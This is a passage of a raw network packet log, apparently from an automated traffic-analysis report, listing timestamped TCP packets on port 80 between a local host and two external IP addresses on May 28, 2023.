May 28, 2023 10:42:50.563846111 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.564775944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564804077 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564830065 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564857006 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564872026 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.564886093 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564903021 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.564913034 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564939976 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564960003 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.564965963 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.564994097 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565011978 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.565021038 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565068007 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.565272093 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565296888 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565324068 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565346003 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.565350056 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565397978 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.565778017 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565821886 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565850019 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565879107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565882921 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.565905094 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.565928936 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.566262960 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566287994 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566315889 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566320896 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.566343069 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566363096 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.566776037 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566803932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.566845894 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.568356991 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568382978 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568428040 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568440914 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.568480968 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.568481922 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.568844080 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568878889 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568917036 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568943024 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.568953037 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.568988085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569010973 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.569344997 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569382906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569401026 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.569417953 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569458961 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569466114 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.569494009 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569544077 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.569799900 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569837093 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569871902 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569906950 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.569909096 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.569962978 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.570847034 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.570882082 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.570918083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.570940018 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.570952892 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.570988894 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.571022987 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.571023941 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.571060896 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.571084023 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.571096897 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.571127892 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.571149111 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.748862982 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:50.812705994 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:50.829123974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829205990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829324007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829335928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829389095 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829389095 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829430103 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829492092 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829499960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829555988 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829560041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829615116 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829618931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829674006 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829689980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829746962 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829758883 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829816103 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829828978 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829885006 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829896927 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.829953909 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.829968929 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830022097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830040932 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830094099 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830106974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830162048 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830178976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830235004 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830246925 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830310106 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830317020 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830373049 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830384016 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830439091 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830450058 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830506086 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830519915 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830575943 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830588102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830656052 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830667019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830723047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830746889 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830771923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830787897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830852985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830857038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830913067 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830925941 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.830981970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.830996037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831054926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831060886 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831115007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831123114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831177950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831191063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831245899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831247091 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831299067 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831310987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831362963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831377983 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831434965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831448078 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831504107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831515074 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831568003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831581116 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831634998 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831650972 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831703901 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831722021 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831775904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831789970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831845045 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831859112 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831913948 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831931114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.831985950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.831995964 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832053900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832062960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832118034 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832130909 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832185984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832200050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832258940 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832289934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832344055 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832367897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832426071 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832437992 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832498074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832508087 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832565069 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832576990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832632065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832647085 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832700014 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832716942 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832772970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832787991 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832839966 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832856894 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832921982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.832928896 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832976103 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.832992077 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833046913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833060026 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833116055 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833132029 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833194017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833203077 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833251953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833256006 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833311081 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833317995 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833374977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833383083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833446026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833451986 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833499908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833506107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833548069 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833554983 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833592892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833601952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833637953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833643913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833682060 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833697081 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833728075 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833740950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833772898 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833779097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833817959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833825111 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833863974 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833870888 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833909035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833920002 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.833957911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.833967924 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834005117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834018946 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834052086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834078074 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834099054 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834109068 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834146023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834163904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834193945 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834212065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834240913 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834252119 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834286928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834295988 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834333897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834342003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834379911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834388971 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834425926 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834434986 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834472895 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834486008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834520102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834528923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834567070 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834575891 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834614038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834623098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834660053 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834666967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834711075 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834714890 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834757090 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834781885 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834803104 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834814072 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834851980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834853888 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834897041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834897041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834947109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.834949017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.834992886 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835032940 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835036039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835057020 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835082054 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835087061 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835128069 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835140944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835171938 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835196018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835216999 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835220098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835262060 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835268021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835308075 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835319042 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835354090 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835366011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835397959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835407972 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835443020 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835452080 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835488081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835495949 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835531950 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835541010 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835577011 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835585117 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835622072 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835633039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835666895 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835680008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835712910 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835719109 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835756063 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835767984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835802078 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835808039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835846901 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835860968 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835891962 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835900068 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835941076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.835947037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.835985899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836010933 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836030960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836045027 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836076975 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836077929 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836122990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836129904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836168051 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836179018 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836214066 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836227894 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836257935 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836282969 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836311102 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836354971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836400032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836410999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836443901 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836452007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836488962 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836496115 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836534977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836540937 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836579084 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836592913 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836625099 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836635113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836668968 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836678028 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836713076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836719036 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836759090 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:50.836766958 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:50.836805105 CEST	80	49720	103.100.211.218	192.168.2.3
